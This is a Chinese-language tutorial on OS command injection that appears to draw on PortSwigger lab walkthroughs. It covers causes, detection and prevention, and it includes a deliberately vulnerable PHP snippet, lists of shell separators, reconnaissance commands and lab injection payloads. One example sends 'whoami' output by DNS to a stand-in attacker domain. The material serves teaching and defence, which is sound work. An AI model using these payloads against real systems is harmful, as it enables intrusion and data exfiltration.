操作系统命令注入漏洞深度解析:原理、检测与防御

3 阅读3分钟

什么是操作系统命令注入

操作系统命令注入(也称为命令注入)发生在应用程序使用不受信任的输入(来自用户、API、文件等)构建操作系统命令,然后执行该命令时。能够控制该输入的攻击者可以使应用程序运行任意的操作系统命令——这可能导致数据被盗、服务器被控制、横向移动或完全的远程代码执行。

它与类似漏洞的区别

  • SQL注入针对的是数据库。
  • 操作系统命令注入针对的是宿主操作系统(Shell、进程、文件系统)。

两者都属于注入类漏洞,但攻击目标和影响不同。

简单的易受攻击示例(概念)

易受攻击的伪代码:

// 不安全:直接将用户输入拼接到Shell命令中
$ip = $_GET['ip']; // 攻击者可控
$cmd = "ping -c 4 " . $ip;
system($cmd); // 执行由用户数据构建的Shell命令

如果 $ip 包含恶意字符,攻击者可以导致服务器运行额外命令。

为什么它很危险

  • 完全的文件读写、进程控制、网络扫描
  • 可用于提升权限或横向移动
  • 如果应用程序以高权限运行,通常会导致服务器完全被接管

常见注入点

用户提供的、之后会在Shell调用中使用的字段:表单输入、请求头、Cookie、查询参数、文件名、JSON字段、环境变量或任何第三方数据。

检测它的迹象

  • 日志中出现意外命令(你未预料到的子进程)
  • 应用程序在收到异常输入时崩溃
  • 服务器出现异常的出站网络流量
  • 渗透测试模糊测试时,输入包含Shell元字符(例如 ;, &&, |, 反引号, $())时出现异常响应

安全编码与预防(最佳实践)

  • 完全避免使用Shell——使用不调用Shell的函数/API(例如,使用接受参数列表而非单个命令字符串的语言API)。
  • 使用参数化API——许多语言提供接受数组形式的变体(没有Shell插值)。
  • 输入白名单——只允许已知的、安全的值(针对IP、文件名、命令等)。
  • 转义/编码仅作为最后手段,并使用平台正确的转义辅助函数。转义是不可靠的。
  • 最小权限原则——使用运行服务所需的最小操作系统权限。
  • 输入验证与标准化——规范化输入并强制使用严格格式(IP的正则表达式、整数范围、允许的文件名)。
  • 使用安全库——避免自己包装 system() / exec() 等函数。
  • 日志记录与监控——记录执行的命令、意外的子进程和出站连接。
  • WAF/IPS 作为附加层(但不要仅依赖它)。

加固示例(安全替代方案)

不要构建Shell字符串,而是直接传递参数:

# Python 安全方式: 避免使用 shell=True
import subprocess
subprocess.run(["ping", "-c", "4", ip_address])
# ip_address 是输入,但不会被插入到Shell命令行中

这样可以防止Shell元字符被解析。

注入操作系统命令

在这个例子中,一个购物应用程序允许用户查看特定商店中某个商品是否有货。该信息通过以下URL访问: https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是通过调用带有产品和商店ID作为参数的Shell命令来实现的: stockreport.pl 381 29 此命令输出指定商品的库存状态,并将其返回给用户。

该应用程序没有对操作系统命令注入实施任何防御,因此攻击者可以提交以下输入来执行任意命令: & echo aiwefwlguh & 如果将此输入提交到 productID 参数中,应用程序执行的命令将是: stockreport.pl & echo aiwefwlguh & 29 echo 命令导致提供的字符串在输出中被回显。这是测试某些类型操作系统命令注入的有效方法。& 字符是Shell命令分隔符。在此例中,它导致三个独立的命令依次执行。返回给用户的输出是:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行输出表明:

  • 原始的 stockreport.pl 命令在没有预期参数的情况下执行,因此返回了错误消息。
  • 注入的 echo 命令已执行,并且提供的字符串在输出中被回显。
  • 原始参数 29 作为命令被执行,导致了一个错误。

在注入的命令后添加额外的命令分隔符 & 很有用,因为它将注入的命令与注入点之后的任何内容分隔开。这降低了后续内容阻止注入命令执行的可能性。

有用的命令

识别出操作系统命令注入漏洞后,执行一些初始命令以获取系统信息是很有用的。以下是在Linux和Windows平台上一些有用的命令摘要:

目的LinuxWindows
当前用户名whoamiwhoami
操作系统uname -aver
网络配置ifconfigipconfig
网络连接netstat -annetstat -an
运行进程ps -eftasklist

2. 具有时间延迟的盲操作系统命令注入

来源:PortSwigger Web Security Academy

该实验在反馈功能中存在盲操作系统命令注入漏洞。应用程序执行一个包含用户提供详细信息的Shell命令。命令的输出不会在响应中返回。

实验目的:利用盲操作系统命令注入漏洞造成10秒的延迟。

解决方案

  1. 使用 Burp Suite 拦截并修改提交反馈的请求。
  2. 修改 email 参数,将其更改为:email=x||ping+-c+10+127.0.0.1||
  3. 观察到响应需要10秒才能返回。

3. 具有输出重定向的盲操作系统命令注入

来源:PortSwigger Web Security Academy

该实验在反馈功能中存在盲操作系统命令注入漏洞。应用程序执行一个包含用户提供详细信息的Shell命令。命令的输出不会在响应中返回。但是,你可以使用输出重定向来捕获命令的输出。存在一个可写文件夹:/var/www/images/。应用程序从此位置提供产品目录的图像。你可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载URL来检索文件内容。

实验目的:执行 whoami 命令并检索输出。

解决方案

  1. 使用 Burp Suite 拦截并修改提交反馈的请求。
  2. 修改 email 参数,将其更改为:email=||whoami>/var/www/images/output.txt||
  3. 现在,使用 Burp Suite 拦截并修改加载产品图像的请求。
  4. 修改 filename 参数,将其值更改为你为注入命令输出指定的文件名:filename=output.txt
  5. 观察到响应包含注入命令的输出。

4. 具有带外交互的盲操作系统命令注入

来源:PortSwigger Web Security Academy

该实验在反馈功能中存在盲操作系统命令注入漏洞。应用程序执行一个包含用户提供详细信息的Shell命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到你可以访问的位置。但是,你可以触发与外部域名的带外交互。

实验目的:利用盲操作系统命令注入漏洞向 Burp Collaborator 发出 DNS 查找。

注意:为了防止学院平台被用于攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决此实验,你必须使用 Burp Collaborator 的默认公共服务器。

解决方案

  1. 使用 Burp Suite 拦截并修改提交反馈的请求。
  2. 修改 email 参数,将其更改为:email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
  3. 右键单击并选择“插入 Collaborator 有效载荷”,以在修改后的 email 参数中指示的位置插入 Burp Collaborator 子域。

此处描述的解决方案足以触发DNS查找,从而解决实验。在真实场景中,你会使用 Burp Collaborator 来验证你的有效载荷确实触发了DNS查找。

带外通道可用于泄露注入命令的输出:

& nslookup whoami.kgji2ohoyw.web-attacker.com & 这会导致向攻击者域发起DNS查找,其中包含 whoami 命令的结果: wwwuser.kgji2ohoyw.web-attacker.com

注入操作系统命令的方式

你可以使用许多Shell元字符来执行操作系统命令注入攻击。许多字符用作命令分隔符,允许将命令链接在一起。

以下命令分隔符在 Windows 和基于 Unix 的系统上都有效:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅在基于 Unix 的系统上有效:

  • ;
  • 换行符 (0x0a\n)

在基于 Unix 的系统上,你还可以使用反引号或美元字符在原始命令中内联执行注入的命令:

  • `injected command`
  • $(injected command)

不同的Shell元字符具有细微不同的行为,这可能会影响它们在某些情况下是否有效。这可能会影响它们是允许带内检索命令输出,还是仅对盲利用有用。

有时,你控制的输入出现在原始命令的引号内。在这种情况下,你需要在使用合适的Shell元字符注入新命令之前,终止带引号的上下文(使用 "')。

如何防止操作系统命令注入攻击

防止操作系统命令注入漏洞最有效的方法是永远不要从应用程序层代码调用操作系统命令。在几乎所有情况下,都有不同的方法可以使用更安全的平台API实现所需的功能。

如果你必须使用用户提供的输入调用操作系统命令,那么你必须执行强输入验证。一些有效验证的示例包括:

  • 针对允许值的白名单进行验证。
  • 验证输入是一个数字。
  • 验证输入仅包含字母数字字符,没有其他语法或空格。

永远不要尝试通过转义Shell元字符来清理输入。在实践中,这太容易出错,并且容易被熟练的攻击者绕过。 CSD0tFqvECLokhw9aBeRqsNQftJmRRQCzBv2+kUS9lMQ+UDNqww3uT0XSgmS2+lgPUO1CuyG7hr+fzFY628aN1FY0tnzyMsbsoN1ZB0izVhhchi3eIaKYynORGcAML+q